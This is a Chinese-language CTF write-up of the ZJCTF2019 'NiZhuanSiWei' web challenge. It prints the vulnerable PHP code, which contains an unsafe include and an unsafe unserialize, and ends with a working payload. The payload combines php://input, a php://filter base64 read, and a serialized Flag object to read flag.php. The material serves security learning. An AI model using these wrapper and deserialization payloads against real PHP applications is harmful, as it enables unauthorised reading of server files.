BUUCTF/ZJCTF2019 WEB-NiZhuanSiWei
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
通过代码审计,我们知道:
1)存在$text变量而且它的值要为“welcome to the zjctf”。
2)$file变量的值里不能存在“flag”,否则将会退出。
3)如果通过了上面两个if语句,提示useless.php,说明要利用php伪协议读取它
得到useless.php里的代码:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
反序列化一直是我的弱项T T。。可以发现$password = unserialize($password);这一行将 password 反序列化, 结合上面的 flag 类可以看出是要我们重构 flag 类读取 flag.php 的内容。在刚才index.php代码中说file参数不能有flag,所以在序列化里填入伪协议就OK啦,别忘记file里包含的是useless.php。
最终payload:
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
POST:
welcome to the zjctf